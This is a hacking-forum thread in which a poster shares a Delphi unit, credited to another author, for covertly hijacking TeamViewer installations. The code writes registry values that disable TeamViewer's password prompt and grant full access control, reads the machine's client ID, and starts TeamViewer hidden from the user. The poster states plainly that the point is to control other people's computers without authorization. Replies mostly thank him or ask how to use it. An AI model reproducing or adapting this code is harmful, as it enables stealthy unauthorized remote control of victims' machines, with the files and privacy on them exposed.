[CustomiZer]

Hello members,

thought I would share with you guys.
This is a really sample way to hack the team viewer legal software with this unit
you can down the protection and get the logins of teamviewer !
then you can control the remote guy without any autorisation : >> Only by
registry !

Code

(*
--
Author   : DarkCoderSc
From  : France
Mail  : [email protected]
--
Comunity : Http://www.opensc.ws/
--
Require Registry.pas , Classes , Sysutils to be add in uses
--
*)

unit UntTVHack;

interface

Uses Windows,Registry,Sysutils,ShellAPI;
{--}
Procedure TVUnactivePassWD;
Procedure TVFullAccess;
Function TVID : Integer;
Function TVFormatIDToString(TID:Integer) : String;
Procedure RunTVHide;
Function TVCheckVersion : String;
Function TVGetFullVersion : String;
Function GetTVPath:String;
{--}
implementation

{--}
Const TeamViewer0 = 'SOFTWARE\TeamViewer';
{--}

{Get the TV Version--}
Function TVCheckVersion : String;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0,True);
If Reg.KeyExists('Version3') Then Result := '\Version3';
If Reg.KeyExists('Version4') Then Result := '\Version4';
If Not (Reg.KeyExists('Version4')) Or (Reg.KeyExists('Version3')) Then
Result := '[Not Installed]';
{--}
Reg.CloseKey;
Reg.Free;
End;
{--}

{Get the Full TV Version--}
Function TVGetFullVersion : String;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Result := Reg.ReadString('Version');
{--}
Reg.CloseKey;
Reg.Free;
End;
{--}

{This will unactive team viewer pass word protection O_o}
Procedure TVUnactivePassWD;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Reg.WriteInteger('Security_PasswordStrength',3); // Disable Password query
{--}
Reg.CloseKey;
Reg.Free;
End;
{--}

{This will give the full access of dekstop and files}
Procedure TVFullAccess;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion+'\AccessControl',True);
Reg.WriteInteger('AC_Server_AccessControlType',0); // Disable Password query
{--}
Reg.CloseKey;
Reg.Free;
End;
{--}

{This will give the Team Viewer ID}
Function TVID : Integer;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Result := Reg.ReadInteger('ClientID'); // Disable Password query
{--}
Reg.CloseKey;
Reg.Free;
End;
{--}

{This little function will format in String- the TeamViewer ID}
Function TVFormatIDToString(TID:Integer) : String;
Var bloc,bloc1,bloc2,bloc3:String;
Begin
bloc := IntToStr(TID);
{Parse ID--}
bloc1 := Copy(bloc,1,3);
Delete(bloc,1,3);
bloc2 := Copy(bloc,1,3);
Delete(bloc,1,3);
bloc3 := Copy(bloc,1,3);
Delete(bloc,1,3);
{--}
Result := bloc1+' '+bloc2+' '+bloc3;
End;
{--}

{Now Launch Team Viewer Hidely}
Procedure RunTVHide;
var Reg : TRegistry;
TVPATH : String;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path
{--}
ShellExecute(0,'open',PWideChar(TVPATH),nil,nil,SW_HIDE);
{--}
Reg.CloseKey;
Reg.Free;
End;

Function GetTVPath:String;
var Reg : TRegistry;
TVPATH : String;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path
{--}
Result := TVPath;
{--}
Reg.CloseKey;
Reg.Free;
End;
{--}
end.

Author : DarkCoderSc
From : France
Coded in : Delphi
All credits goes to the author (DarkCoderSc) I take no credits in this. I just did a copy paste 😝
Enjoy 👍

-CustomiZer

EDIT : Members don't PM me asking what it is and what to do. I'll never teach you. Learn it yourself or this is not for you.



Check my other threads here :
» logkeys Linux keylogger version 0.1.1a [alpha]
» Secunia Personal Software Inspector (PSI)
» Online Scanners and Malware Analysers
» The Official Windows 7 Guide

[Bosanac]

"Thanks For Teaching" ;) , Just compile In Delphi...

[ExodusPKER]

nice.. i will try it out :) thx

[HTCowboy]

Kudos on the share, appreciate it.

[CustomiZer]

100 views and 3 replies. Post away to let others view this and keep it alive 👍

[Uchiha Itachi]

I would but you won't even explain where we put this, do we add .reg to end of a notepad with this in it? If so where do we stick it??? What do we name it??? How do we use it.

[CustomiZer]

I would but you won't even explain where we put this, do we add .reg to end of a notepad with this in it? If so where do we stick it??? What do we name it??? How do we use it.

If everyone knew how to use it the world would be a very unsecure place to live in. Try to lean it yourself and I assure it will be much more useful.

[New.World.Order]

100 views and 3 replies. Post away to let others view this and keep it alive 👍

maybe you have little replies because you dont want to help the n00bs out or even those who do know, you wont bother you help them. but you give us this code its pointless, this thread is pointless if you dont know how to use it.

maybe if you was to rewrite it with a tutorial or even and explanation of what this even is. you will get more replies... like thx... or good one.. or well you know...


think about it.. 🤦‍♂

[CustomiZer]

Nah..I'm fine with it. Its a code in Delphi Compil it yourself. That is all I can say.

[Wind]

Fuck this man, I don't want people hacking my teamviewer. Why would you post this? 😖

[CustomiZer]

Fuck this man, I don't want people hacking my teamviewer. Why would you post this? 😖

Yay Don't worry. Half of the n00bs won't understand what it is or what to do with it. 😉

[cc77]

Looks interesting , thanks for sharing :)

[hacphongthan]

Thank you. This code are helpful

[CustomiZer]

No problem. Enjoy Guys. 👍

[Once Timeless]

Sounds interesting pretty nice.